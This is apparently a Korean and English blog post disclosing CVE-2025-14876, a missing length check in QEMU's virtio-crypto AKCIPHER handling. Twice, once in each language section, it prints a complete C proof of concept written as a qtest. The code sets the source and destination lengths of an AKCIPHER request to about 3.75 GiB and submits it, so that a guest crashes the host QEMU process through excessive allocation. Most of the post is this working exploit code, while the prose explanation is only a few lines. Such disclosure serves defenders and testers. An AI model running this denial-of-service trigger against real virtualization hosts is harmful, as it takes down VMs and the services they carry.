Notice
Recent Posts
Recent Comments
Link
«   2026/05   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Tags
more
Archives
Today
Total
관리 메뉴

Finder

CVE-2025-14876 본문

카테고리 없음

CVE-2025-14876

Finder16 2026. 1. 14. 21:28

KR

qemu

qemu는 CPU 아키텍처를 소프트웨어 기반으로 에뮬레이팅해주는 툴입니다

취약점 설명

virtio-crypto.c에서 AKCIPHER 처리 로직에서 터지는 취약접입니다

symmetric경로에선 conf.max_size를 사용해 입력 길이 제한을 강제하지만 AKCIPHER 검증이 없습니다

따라서 게스트는 큰 값을 할당을 시도할수있으며 게스트에서 호스트를 kill할수있는 취약점이 터지게됩니다

PoC

#include "qemu/osdep.h"
  #include "libqtest.h"
  #include "qemu/bswap.h"
  #include "standard-headers/linux/virtio_crypto.h"
  #include "standard-headers/linux/pci_regs.h"
  #include "libqos/malloc-pc.h"
  #include "libqos/pci-pc.h"
  #include "libqos/virtio-pci.h"

  #define HUGE_LEN 0xF0000000U /* ~3.75 GiB per buffer */

  static QPCIDevice *find_virtio_dev(QPCIBus *bus, uint16_t *out_devfn)
  {
      QPCIDevice *pdev = g_new0(QPCIDevice, 1);
      pdev->bus = bus;

      for (int devfn = 0; devfn < 256; devfn++) {
          uint16_t vendor, device;

          pdev->devfn = devfn;
          vendor = qpci_config_readw(pdev, PCI_VENDOR_ID);
          if (vendor != 0x1af4) {
              continue;
          }
          device = qpci_config_readw(pdev, PCI_DEVICE_ID);
          /* first virtio-pci device we see */
          *out_devfn = devfn;
          pdev->devfn = devfn;
          pdev->msix_enabled = false;
          return pdev;
      }

      g_free(pdev);
      return NULL;
  }

  static void test_virtio_crypto_oom(void)
  {
      QTestState *qts = qtest_init("-machine q35 -accel qtest -nodefaults "
                                   "-display none "
                                   "-object cryptodev-backend-builtin,id=crypt0 "
                                   "-device virtio-crypto-pci,cryptodev=crypt0");
      QGuestAllocator alloc;
      QPCIBus *bus;
      QPCIDevice *pdev;
      QVirtioPCIDevice *vdev;
      QVirtQueue *vq;
      QPCIAddress addr = { 0 };
      struct virtio_crypto_op_data_req req = { 0 };
      uint64_t req_addr, status_addr;
      uint8_t status = 0xff;
      uint32_t free_head;

      pc_alloc_init(&alloc, qts, ALLOC_NO_FLAGS);
      bus = qpci_new_pc(qts, &alloc);
      g_assert_nonnull(bus);

      pdev = find_virtio_dev(bus, (uint16_t *)&addr.devfn);
      g_assert_nonnull(pdev);

      addr.vendor_id = qpci_config_readw(pdev, PCI_VENDOR_ID);
      addr.device_id = qpci_config_readw(pdev, PCI_DEVICE_ID);

      vdev = virtio_pci_new(bus, &addr);
      g_assert_nonnull(vdev);

      qvirtio_pci_device_enable(vdev);
      qvirtio_reset(&vdev->vdev);

      qvirtio_set_acknowledge(&vdev->vdev);
      qvirtio_set_driver(&vdev->vdev);
      uint64_t features = qvirtio_get_features(&vdev->vdev) |
                          (1ull << VIRTIO_F_VERSION_1);
      qvirtio_set_features(&vdev->vdev, features);
      qvirtio_set_driver_ok(&vdev->vdev);

      vq = qvirtqueue_setup(&vdev->vdev, &alloc, 0);
      g_assert_nonnull(vq);

      req.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_AKCIPHER_ENCRYPT);
      req.u.akcipher_req.para.src_data_len = cpu_to_le32(HUGE_LEN);
      req.u.akcipher_req.para.dst_data_len = cpu_to_le32(HUGE_LEN);

      req_addr = guest_alloc(&alloc, sizeof(req));
      qtest_memwrite(qts, req_addr, &req, sizeof(req));

      status_addr = guest_alloc(&alloc, sizeof(status));
      qtest_memwrite(qts, status_addr, &status, sizeof(status));

      free_head = qvirtqueue_add(qts, vq, req_addr, sizeof(req),
                                 false, true);
      qvirtqueue_add(qts, vq, status_addr, sizeof(status),
                     true, false);
      qvirtqueue_kick(qts, &vdev->vdev, vq, free_head);
      qtest_quit(qts);
  }

  int main(int argc, char **argv)
  {
      g_test_init(&argc, &argv, NULL);
      g_test_add_func("/virtio/crypto/oom", test_virtio_crypto_oom);
      return g_test_run();
  }

EN

QEMU

QEMU is a tool that emulates CPU architectures using software-based virtualization

Vulnerability Description

This vulnerability occurs in the AKCIPHER handling logic in virtio-crypto.c

While the symmetric path enforces an input length limit using conf.max_size the AKCIPHER path lacks any such validation
As a result, a guest can request extremely large allocations leading QEMU to attempt excessive memory allocation and ultimately crash

This allows an unprivileged guest to trigger a Dos effectively killing the host QEMU process

PoC

#include "qemu/osdep.h"
  #include "libqtest.h"
  #include "qemu/bswap.h"
  #include "standard-headers/linux/virtio_crypto.h"
  #include "standard-headers/linux/pci_regs.h"
  #include "libqos/malloc-pc.h"
  #include "libqos/pci-pc.h"
  #include "libqos/virtio-pci.h"

  #define HUGE_LEN 0xF0000000U /* ~3.75 GiB per buffer */

  static QPCIDevice *find_virtio_dev(QPCIBus *bus, uint16_t *out_devfn)
  {
      QPCIDevice *pdev = g_new0(QPCIDevice, 1);
      pdev->bus = bus;

      for (int devfn = 0; devfn < 256; devfn++) {
          uint16_t vendor, device;

          pdev->devfn = devfn;
          vendor = qpci_config_readw(pdev, PCI_VENDOR_ID);
          if (vendor != 0x1af4) {
              continue;
          }
          device = qpci_config_readw(pdev, PCI_DEVICE_ID);
          /* first virtio-pci device we see */
          *out_devfn = devfn;
          pdev->devfn = devfn;
          pdev->msix_enabled = false;
          return pdev;
      }

      g_free(pdev);
      return NULL;
  }

  static void test_virtio_crypto_oom(void)
  {
      QTestState *qts = qtest_init("-machine q35 -accel qtest -nodefaults "
                                   "-display none "
                                   "-object cryptodev-backend-builtin,id=crypt0 "
                                   "-device virtio-crypto-pci,cryptodev=crypt0");
      QGuestAllocator alloc;
      QPCIBus *bus;
      QPCIDevice *pdev;
      QVirtioPCIDevice *vdev;
      QVirtQueue *vq;
      QPCIAddress addr = { 0 };
      struct virtio_crypto_op_data_req req = { 0 };
      uint64_t req_addr, status_addr;
      uint8_t status = 0xff;
      uint32_t free_head;

      pc_alloc_init(&alloc, qts, ALLOC_NO_FLAGS);
      bus = qpci_new_pc(qts, &alloc);
      g_assert_nonnull(bus);

      pdev = find_virtio_dev(bus, (uint16_t *)&addr.devfn);
      g_assert_nonnull(pdev);

      addr.vendor_id = qpci_config_readw(pdev, PCI_VENDOR_ID);
      addr.device_id = qpci_config_readw(pdev, PCI_DEVICE_ID);

      vdev = virtio_pci_new(bus, &addr);
      g_assert_nonnull(vdev);

      qvirtio_pci_device_enable(vdev);
      qvirtio_reset(&vdev->vdev);

      qvirtio_set_acknowledge(&vdev->vdev);
      qvirtio_set_driver(&vdev->vdev);
      uint64_t features = qvirtio_get_features(&vdev->vdev) |
                          (1ull << VIRTIO_F_VERSION_1);
      qvirtio_set_features(&vdev->vdev, features);
      qvirtio_set_driver_ok(&vdev->vdev);

      vq = qvirtqueue_setup(&vdev->vdev, &alloc, 0);
      g_assert_nonnull(vq);

      req.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_AKCIPHER_ENCRYPT);
      req.u.akcipher_req.para.src_data_len = cpu_to_le32(HUGE_LEN);
      req.u.akcipher_req.para.dst_data_len = cpu_to_le32(HUGE_LEN);

      req_addr = guest_alloc(&alloc, sizeof(req));
      qtest_memwrite(qts, req_addr, &req, sizeof(req));

      status_addr = guest_alloc(&alloc, sizeof(status));
      qtest_memwrite(qts, status_addr, &status, sizeof(status));

      free_head = qvirtqueue_add(qts, vq, req_addr, sizeof(req),
                                 false, true);
      qvirtqueue_add(qts, vq, status_addr, sizeof(status),
                     true, false);
      qvirtqueue_kick(qts, &vdev->vdev, vq, free_head);
      qtest_quit(qts);
  }

  int main(int argc, char **argv)
  {
      g_test_init(&argc, &argv, NULL);
      g_test_add_func("/virtio/crypto/oom", test_virtio_crypto_oom);
      return g_test_run();
  }